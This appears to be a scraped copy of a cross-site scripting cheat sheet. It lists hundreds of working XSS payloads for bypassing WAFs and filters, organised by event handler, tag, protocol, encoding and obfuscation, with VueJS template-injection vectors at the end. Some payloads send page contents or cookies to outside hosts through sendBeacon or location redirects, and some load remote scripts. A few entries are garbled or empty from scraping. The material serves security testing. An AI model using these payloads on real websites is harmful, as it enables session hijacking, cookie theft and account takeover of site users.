

Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

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Event handlers

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Event handlers that do not require user interaction

Event: Description: Code:

onafterscriptexecute

Compatibility: Fires after script is executed `<xss onafterscriptexecute=alert(1)><script>1</script>` 

onanimationcancel

Compatibility: Fires when a CSS animation cancels `<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="print()"></xss>` 

onanimationend

Compatibility: Fires when a CSS animation ends `<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>` 

onanimationiteration

Compatibility: Fires when a CSS animation repeats `<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>` 

onanimationstart

Compatibility: Fires when a CSS animation starts `<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>` 

onbeforeprint

Compatibility: Fires before the page is printed `<body onbeforeprint=console.log(1)>` 

onbeforescriptexecute

Compatibility: Fires before script is executed `<xss onbeforescriptexecute=alert(1)><script>1</script>` 

onbeforeunload

Compatibility: Fires after if the url changes `<body onbeforeunload=navigator.sendBeacon('https://ssl.portswigger-labs.net/',document.body.innerHTML)>` 

onbegin

Compatibility: Fires when a svg animation begins `<svg><animate onbegin=alert(1) attributeName=x dur=1s>` 

onbounce

oncanplay

Compatibility: Fires if the resource can be played

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



oncanplaythrough

Compatibility: Fires when enough data has been loaded to play the resource all the way through

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
```



oncuechange

Compatibility: Fires when subtitle changes

```
<video controls><source src=validvideo.mp4 type=video/mp4><track default oncuechange=alert(1) src="data:text/vtt,WEBVTT FILE 1 00:00:00.000 --> 00:00:05.000 <b>XSS</b> "></video>
```



ondurationchange

Compatibility: Fires when duration changes

```
<audio controls ondurationchange=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
```



onend

Compatibility: Fires when a svg animation ends

```
<svg><animate onend=alert(1) attributeName=x dur=1s>
```



onended

Compatibility: Fires when the resource is finished playing

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



onerror

Compatibility: Fires when the resource fails to load or causes an error

```
<audio src/onerror=alert(1)>
```



onfinish

Compatibility: Fires when the marquee finishes

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```



onfocus

Compatibility: Fires when the element has focus

```
<a id=x tabindex=1 onfocus=alert(1)></a>
```



onfocusin

Compatibility: Fires when the element has focus

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```



onhashchange

Compatibility: Fires if the hash changes

```
<body onhashchange="print()">
```



onload

Compatibility: Fires when the element is loaded

```
<body onload=alert(1)>
```



onloadeddata

Compatibility: Fires when the first frame is loaded

```
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



onloadedmetadata

Compatibility: Fires when the meta data is loaded

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
```



onmessage

Compatibility: Fires when message event is received from a postMessage call

```
<body onmessage=print()>
```



onunhandledrejection

Compatibility: Fires when a promise isn't handled



```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```



onunload

Compatibility: Fires when the page is unloaded



```
<body onunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
```



onwebkitanimationend

Compatibility: Fires when a CSS animation ends



```
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>
```



onwebkitanimationiteration

Compatibility: Fires when a CSS animation repeats



```
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>
```



onwebkitanimationstart

Compatibility: Fires when a CSS animation starts



```
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>
```



onwebkittransitionend

Compatibility: Fires when a CSS transition ends



```
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend="alert(1)"></xss>
```



Event handlers that do require user interaction

Event: Description:

Code:

onafterprint

Compatibility: Fires after the page is printed



```
<body onafterprint=alert(1)>
```



onauxclick

Compatibility: Fires when right clicking or using the middle button of the mouse



```
<input onauxclick=alert(1)>
```



onbeforecopy

Compatibility: Requires you copy a piece of text



```
<a onbeforecopy="alert(1)" contenteditable>test</a>
```



onbeforecut

Compatibility: Requires you cut a piece of text



```
<a onbeforecut="alert(1)" contenteditable>test</a>
```



onbeforeinput

Compatibility: Fires when the value of the element is about to be modified



```
<xss contenteditable onbeforeinput=alert(1)>test
```



onblur

Compatibility: Fires when an element loses focus



```
<xss onblur=alert(1) id=x tabindex=1 style=display:block>test</xss><input value=clickme>
```



onchange

Compatibility: Requires a change of value



```
<input onchange=alert(1) value=xss>
```



onclick

Compatibility: Requires a click of the element



```
<xss onclick="alert(1)" style=display:block>test</xss>
```





oncontextmenu

Compatibility:

Triggered when right clicking to show the context menu

```
<xss oncontextmenu="alert(1)" style=display:block>test</xss>
```



oncopy

Compatibility:

Requires you copy a piece of text

```
<xss oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
```



oncut

Compatibility:

Requires you cut a piece of text

```
<xss oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
```



ondblclick

Compatibility:

Triggered when double clicking the element

```
<xss ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</xss>
```



ondrag

Compatibility:

Triggered dragging the element

```
<xss draggable="true" ondrag="alert(1)" style=display:block>test</xss>
```



ondragend

Compatibility:

Triggered dragging is finished on the element

```
<xss draggable="true" ondragend="alert(1)" style=display:block>test</xss>
```



ondragenter

Compatibility:

Requires a mouse drag

```
<xss draggable="true" ondragenter="alert(1)" style=display:block>test</xss>
```



ondragleave

Compatibility:

Requires a mouse drag

```
<xss draggable="true" ondragleave="alert(1)" style=display:block>test</xss>
```



ondragover

Compatibility:

Triggered dragging over an element

```
<div draggable="true" contenteditable>drag me</div><xss ondragover="alert(1)" contenteditable style=display:block>drop here</xss>
```



ondragstart

Compatibility:

Requires a mouse drag

```
<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>
```



ondrop

Compatibility:

Triggered dropping a draggable element

```
<div draggable="true" contenteditable>drag me</div><xss ondrop="alert(1)" contenteditable style=display:block>drop here</xss>
```



onfocusout

Compatibility:

Fires when an element loses focus

```
<xss onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</xss><input value=clickme>
```



onfullscreenchange

Compatibility:

Fires when a video changes full screen status

```
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
```



oninput

Compatibility:

Requires as change of value

```
<input oninput=alert(1) value=xss>
```



oninvalid

Compatibility:

Requires a form submission with an

```
<form><input oninvalid=alert(1) required><input type=submit>
```



onkeydown	Triggered when a key is pressed	<xss onkeydown="alert(1)" contenteditable style=display:block>test</xss>	
Compatibility: 			
onkeypress	Triggered when a key is pressed	<xss onkeypress="alert(1)" contenteditable style=display:block>test</xss>	
Compatibility: 			
onkeyup	Triggered when a key is released	<xss onkeyup="alert(1)" contenteditable style=display:block>test</xss>	
Compatibility: 			
onmousedown	Triggered when the mouse is pressed	<xss onmousedown="alert(1)" style=display:block>test</xss>	
Compatibility: 			
onmouseenter	Triggered when the mouse is hovered over the element	<xss onmouseenter="alert(1)" style=display:block>test</xss>	
Compatibility: 			
onmouseleave	Triggered when the mouse is moved away from the element	<xss onmouseleave="alert(1)" style=display:block>test</xss>	
Compatibility: 			
onmousemove	Requires mouse movement	<xss onmousemove="alert(1)" style=display:block>test</xss>	
Compatibility: 			
onmouseout	Triggered when the mouse is moved away from the element	<xss onmouseout="alert(1)" style=display:block>test</xss>	
Compatibility: 			
onmouseover	Requires a hover over the element	<xss onmouseover="alert(1)" style=display:block>test</xss>	
Compatibility: 			
onmouseup	Triggered when the mouse button is released	<xss onmouseup="alert(1)" style=display:block>test</xss>	
Compatibility: 			
onmousewheel	Fires when the mousewheel scrolls	<xss onmousewheel=alert(1) style=display:block>requires scrolling	
Compatibility: 			
onmozfullscreenchange	Fires when a video changes full screen status	<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>	
Compatibility: 			
onpagehide	Fires when the page is changed	<body onpagehide=navigator.sendBeacon('https://ssl.portswigger-labs.net/',document.body.innerHTML)>	
Compatibility: 			
onpaste	Requires you paste a piece of text	test	
Compatibility: 			
onpause	Requires clicking the element to pause	<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>	
Compatibility: 			



onpointerenter

Compatibility:



Fires when the mouseenter

```
<xss onpointerenter=alert(1) style=display:block>XSS</xss>
```



onpointerleave

Compatibility:



Fires when themouseleave

```
<xss onpointerleave=alert(1) style=display:block>XSS</xss>
```



onpointermove

Compatibility:



Fires when the mouse move

```
<xss onpointermove=alert(1) style=display:block>XSS</xss>
```



onpointerout

Compatibility:



Fires when the mouse out

```
<xss onpointerout=alert(1) style=display:block>XSS</xss>
```



onpointerover

Compatibility:



Fires when the mouseover

```
<xss onpointerover=alert(1) style=display:block>XSS</xss>
```



onpointerrawupdate

Compatibility:



Fires when the pointer changes

```
<xss onpointerrawupdate=alert(1) style=display:block>XSS</xss>
```



onpointerup

Compatibility:



Fires when the mouse up

```
<xss onpointerup=alert(1) style=display:block>XSS</xss>
```



onratechange

Compatibility:



Fires when the speed of the video changes

```
<audio controls autoplay onratechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



onreset

Compatibility:



Requires a click

```
<form onreset=alert(1)><input type=reset>
```



onsearch

Compatibility:



Fires when a form is submitted and the input has a type attribute of search

```
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
```



onseeked

Compatibility:



Requires clicking the element timeline

```
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



onseeking

Compatibility:



Requires clicking the element timeline

```
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
```



onselect

Compatibility:



Requires you select text

```
<input onselect=alert(1) value="XSS" autofocus>
```



onselectionchange

Compatibility:



Fires when text selection is changed on the page

```
<body onselectionchange=alert(1)>select some text
```



onselectstart

Compatibility:



Fires when beginning a text selection

```
<body onselectstart=alert(1)>select some text
```



onshow	Compatibility:	Fires context menu is shown	<div contextmenu=xss><p>Right click<menu type=context id=xss onshow=alert(1)></menu></div>	
onsubmit	Compatibility:	Requires a form submission	<form onsubmit=alert(1)><input type=submit>	
ontouchend	Compatibility:	Fires when the touch screen, only mobile device	<body ontouchend=alert(1)>	
ontouchmove	Compatibility:	Fires when the touch screen and move, only mobile device	<body ontouchmove=alert(1)>	
ontouchstart	Compatibility:	Fires when the touch screen, only mobile device	<body ontouchstart=alert(1)>	
onvolumechange	Compatibility:	Requires volume adjustment	<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>	
onwheel	Compatibility:	Fires when you use the mouse wheel	<body onwheel=alert(1)>	

Consuming tags				
	Noembed consuming tag	<noembed><img title="</noembed>"></noembed>		
	Noscript consuming tag	<noscript><img title="</noscript>"></noscript>		
	Style consuming tag	<style><img title="</style>"></style>		
	Script consuming tag	<script><img title="</script>"></script>		
	Iframe consuming tag	<iframe><img title="</iframe>"></iframe>		
	Xmp consuming tag	<xmp><img title="</xmp>"></xmp>		
	Textarea consuming tag	<textarea><img title="</textarea>"></textarea>		
	Noframes consuming tag	<noframes><img title="</noframes>"></noframes>		
	Title consuming tag	<title><img title="</title>"></title>		

File upload attacks



Add blob to file object

```
<input type="file" id="fileInput" /><script>const fileInput = document.getElementById('fileInput');const dataTransfer = new DataTransfer();const file = new File(['Hello world!'], 'hello.txt', {type: 'text/plain'});dataTransfer.items.add(file);fileInput.files = dataTransfer.files</script>
```



Restricted characters



No parentheses using exception handling

```
<script>onerror=alert;throw 1</script>
```



No parentheses using exception handling no semi colons

```
<script>{onerror=alert}throw 1</script>
```



No parentheses using exception handling no semi colons using expressions

```
<script>throw onerror=alert,1</script>
```



No parentheses using exception handling and string eval on Chrome / Edge

```
<script>throw onerror=eval,'=alert\x281\x29'</script>
```



No parentheses using exception handling and string eval on Safari

```
<script>throw onerror=eval,'alert\x281\x29'</script>
```



No parentheses using exception handling and object eval on Firefox

```
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
```



No parentheses using exception handling and object eval on Firefox / Safari

```
<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>
```



No parentheses using exception handling and location hash eval on all browsers

```
<script>throw onerror=Uncaught=eval,e=new Error,e.message='/*'+location.hash,!!window.InstallTrigger? e:e.message</script>
```



No parentheses, no quotes, no spaces using exception handling and location hash eval on all browsers

```
<script>throw{},onerror=Uncaught=eval,h=location.hash,e={lineNumber:1,columnNumber:1,fileName:0,message:h[2]+h[1]+h},!!window.InstallTrigger? e:e.message</script>
```



No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers

```
<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger? e:e.message</script>
```



No parentheses using ES6 hasInstance and instanceof with eval

```
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
```



No parentheses using ES6 hasInstance and instanceof with eval without .

```
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
```



No parentheses using location redirect

```
<script>location='javascript:alert\x281\x29'</script>
```





No parentheses using template strings

```
<script>alert`1`</script>
```



No parentheses using template strings and location hash

```
<script>new Function`X${document.location.hash.substr`1`}`</script>
```



No parentheses or spaces, using template strings and location hash

```
<script>Function`X${document.location.hash.substr`1`}``</script>
```



XSS cookie exfiltration without parentheses, backticks or quotes

```
<video><source onerror=location=/\02.rs/+document.cookie>
```



XSS without greater than

```
<svg onload=alert(1)
```



XSS without greater using a HTML comment

```
<svg onload=alert(1)<!--
```



Array based destructuring using onerror

```
<script>throw[onerror]=[alert],1</script>
```



Destructuring using onerror

```
<script>var{a:onerror}={a:alert};throw 1</script>
```



Destructuring using default values and onerror

```
<script>var{haha:onerror=alert}=0;throw 1</script>
```



Vector using window.name

```
<script>window.name='javascript:alert(1)';</script><svg onload=location=name>
```



Frameworks



Bootstrap onanimationstart event

```
<xss class=progress-bar-animated onanimationstart=alert(1)>
```



Bootstrap ontransitionend event

```
<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>
```



Protocols



Iframe src attribute JavaScript protocol

```
<iframe src="javascript:alert(1)">
```



Object data attribute with JavaScript protocol

```
<object data="javascript:alert(1)">
```



Embed src attribute with JavaScript protocol

```
<embed src="javascript:alert(1)">
```



A standard JavaScript protocol

```
<a href="javascript:alert(1)">XSS</a>
```





Characters \x01-\x20 are allowed before the protocol

```
<a href=" javascript:alert(1)">XSS</a>
```



Characters \x09,\x0a,\x0d are allowed inside the protocol

```
<a href="javas cript:alert(1)">XSS</a>
```



Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

```
<a href="javascript :alert(1)">XSS</a>
```



Xlink namespace inside SVG with JavaScript protocol

```
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
```



SVG animate tag using values

```
<svg><animate xlink:href="#xss attributeName:href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```



SVG animate tag using to

```
<svg><animate xlink:href="#xss attributeName:href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
```



SVG set tag

```
<svg><set xlink:href="#xss attributeName:href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
```



Data protocol inside script src

```
<script src="data:text/javascript,alert(1)"></script>
```



SVG script href attribute without closing script tag

```
<svg><script href="data:text/javascript,alert(1)" />
```



SVG use element Chrome/Firefox

```
<svg><use href="#x" /></svg>
```



Data URL with use element

```
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```



Animate tag with auto executing use element

```
<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /><use id=x />
```



Embed supports code attribute

```
<embed code=https://portswigger-labs.net width=500 height=500 type=text/html>
```



Object tag supports param url

```
<object width=500 height=500 type=text/html><param name=url value=https://portswigger-labs.net>
```



Object tag supports param code

```
<object width=500 height=500 type=text/html><param name=code value=https://portswigger-labs.net>
```



Object tag supports param movie

```
<object width=500 height=500 type=text/html><param name=movie value=https://portswigger-labs.net>
```



Object tag supports param src

```
<object width=500 height=500 type=text/html><param name=src value=https://portswigger-labs.net>
```



Assignable protocol with location

```
<script>location.protocol='javascript'</script>
```



Assignable protocol with anchor

```
<a href="%0aalert(1)" onclick="protocol='javascript'">test</a>
```



Navigation navigate method

```
<script>navigation.navigate('javascript:alert(1)')</script>
```



Other useful attributes



Using srcdoc attribute

```
<iframe srcdoc=<img src=1 onerror=alert(1)>></iframe>
```



Using srcdoc with entities

```
<iframe srcdoc=&lt;img src=1 onerror=alert(1)&gt;></iframe>
```



Click a submit element from anywhere on the page, even outside the form

```
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
```





Link elements: Access key attributes can enable XSS on normally unexploitable elements

```
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
```



Download attribute can save a copy of the current webpage

```
<a href="#" download="filename.html">Test</a>
```



Disable referrer using referrerpolicy

```

```



Set window.name via parameter on the window.open function

```
<a href="#" onclick="window.open('http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//','alert(1)')>XSS</a>
```



Set window.name via name attribute in a <iframe> tag

```
<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>
```



Set window.name via target attribute in a <base> tag

```
<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>
```



Set window.name via target attribute in a <a> tag

```
<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>
```



Set window.name via usemap attribute in a tag

```
<map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>
```



Set window.name via target attribute in a <form> tag

```
<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//'"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>
```



Set window.name via formtarget attribute in a <input> tag type submit

```
<form><input type=hidden name=x value="';eval(name)//'"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>
```



Set window.name via formtarget attribute in a <input> tag type image

```
<form><input type=hidden name=x value="';eval(name)//'"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>
```



Special tags



Redirect to a different domain

```
<meta http-equiv="refresh" content="0; url=/portswigger-labs.net">
```



Meta charset attribute UTF-7

```
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



Meta charset UTF-7

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



UTF-7 BOM characters (Has to be at the start of the document) 1

```
+v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```



document.documentElement

UTF-7 BOM characters (Has to be at the start of the document) 3	+/\v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-	
UTF-7 BOM characters (Has to be at the start of the document) 4	+/\v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-	
	Upgrade insecure requests	<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
	Disable JavaScript via iframe sandbox	<iframe sandbox src="//portswigger-labs.net"></iframe>
	Disable referer	<meta name="referrer" content="no-referrer">

Encoding

	Overlong UTF-8	%C0%BCscript>alert(1)</script> %E0%80%BCscript>alert(1)</script>%F0%80%80%BCscript>alert(1)</script>%F8%80%80%80%BCscript>alert(1)</script>%FC%80%80%80%80%BCscript>alert(1)</script>	
	Unicode escapes	<script>\u0061lert(1)</script>	
	Unicode escapes ES6 style	<script>\u{61}lert(1)</script>	
	Unicode escapes ES6 style zero padded	<script>\u{0000000061}lert(1)</script>	
	Hex encoding JavaScript escapes	<script>eval('x61lert(1)')</script>	
	Octal encoding	<script>eval('141lert(1)')</script> <script>eval('alert(\061)')</script><script>eval('alert(\61)')</script>	
	Decimal encoding with optional semi-colon	XSSXSS	
	SVG script with HTML encoding	<svg><script>#97;lert(1)</script></svg> <svg><script>alert(1)</script></svg> <svg><script>alert
(1)</script></svg> <svg><script>x=",alert(1)//";</script></svg>	
	Decimal encoding with padded zeros	XSS	
	Hex encoding entities	XSS	
	Hex encoding without semi-colon provided next character is not a-f0-9	XSS XSS XSS	



Hex encoding is not case sensitive

```
<a href="#X6A;avascript:alert(1)">XSS</a>
```



HTML entities

```
<a href="javascript&colon;alert(1)">XSS</a> <a href="java&Tab;script:alert(1)">XSS</a> <a href="java&NewLine;script:alert(1)">XSS</a> <a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>
```



URL encoding

```
<a href="javascript:x=%27-alert(1)-%27;">XSS</a>
```



HTML entities and URL encoding

```
<a href="javascript:x='&percnt;27-alert(1)-%27;">XSS</a>
```



Obfuscation



Data protocol inside script src with base64

```
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
```



Data protocol inside script src with base64 and HTML entities

```
<script src=data:text/javascript;base64,&#x59;&#x57;&#x78;&#x6c;&#x63;&#x6e;&#x51;&#x6f;&#x4d;&#x53;&#x6b;&#x3d;></script>
```



Data protocol inside script src with base64 and URL encoding

```
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
```



Iframe srcdoc HTML encoded

```
<iframe srcdoc=&lt;script&gt;alert&lpar;1&rpar;&lt;/script&gt;></iframe>
```



Iframe JavaScript URL with HTML and URL encoding

```
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'></iframe>
```



SVG script with unicode escapes and HTML encoding

```
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x30;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>
```



Img tag with base64 encoding

```
<img src=x onerror=location=atob`amF2YXNjcm1wdDphbGVydChkb2N1bwVudC5kb21haW4p`>
```



Client-side template injection

VueJS reflected

Version: Author: Length: Vector:

Version 2 **Mario Heiderich** (Cure53) 41 {{constructor.constructor('alert(1)')()}}



Version 2 **Mario Heiderich** (Cure53) & **Sebastian Lekies** (Google) & **Eduardo Vela Nava** (Google) & **Krzesztof Kotowicz** (Google) 62 <div v-html="'.constructor.constructor('alert(1)')()'>a</div>



Version 2	Peter af Geijerstam (Swedish Shellcode Factory)	37	<x v-if=_c.constructor('alert(1)')()>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	32	{ {_c.constructor('alert(1)')()}}	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	32	{ {_v.constructor('alert(1)')()}}	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	32	{ {_s.constructor('alert(1)')()}}	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	39	<p v-show=" _c.constructor`alert(1)`() " >	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	52	<x v-on:click=' _b.constructor`alert(1)`()' > click </x>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	41	<x v-bind:a=' _b.constructor`alert(1)`()' >	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<x @_b.constructor`alert(1)`() >	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<x :_b.constructor`alert(1)`() >	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<p v-= _c.constructor`alert(1)`() >	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<x #_c.constructor`alert(1)`() >	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	32	<p := _c.constructor`alert(1)`() >	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	32	{ _c.constructor('alert(1)')()}	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	30	{ _b.constructor`alert(1)`()}	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	40	<x v-bind:is="'script'" src="//14.rs" />	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	27	<x is=script src=//@.rs>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	48	<x @click=' _b.constructor`alert(1)`()' > click </x>	

Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<x @_b.constructor`alert(1)`()>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<x :[_b.constructor`alert(1)`()]>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<x #[_c.constructor`alert(1)`()]>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	52	<x title="=<iframe	onload	=alert(1)>"	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	73	<x title="=<iframe	onload	=setTimeout(/alert(1)/.source)>">	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	31	<xyz<img/src onerror=alert(1)>>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	116	<svg><svg> <noscript></noscript><iframe	onload=setTimeout(/alert(1)/.source)></noscript></svg>	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	59	<a @['c\lic\u{6b}']=_c.constructor('alert(1')()'>test	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	42	{\${el.ownerDocument.defaultView.alert(1)}}	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	56	{\${el.innerHTML='\\u003cimg src onerror=alert(1)\\u003e'}}}	
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	45		
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	55		
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	30		
Version 2	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	24	<svg@load=this.alert(1)>	
Version 2	Davit Karapetyan (Independent consultant)	72	<p slot-scope=""{}{}]+this.constructor.constructor('alert(1')()'{});//">	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	40	{\$_openBlock.constructor('alert(1')())}	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	42	\$_createBlock.constructor('alert(1')())	

Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	46	<code>{__toDisplayString.constructor('alert(1')())}</code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	42	<code>{__createVNode.constructor('alert(1')())}</code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	47	<code><p v-show=__createBlock.constructor`alert(1)`()></code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	41	<code><x @_openBlock.constructor`alert(1)`()></code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	42	<code><x @_capitalize.constructor`alert(1)`()></code>	
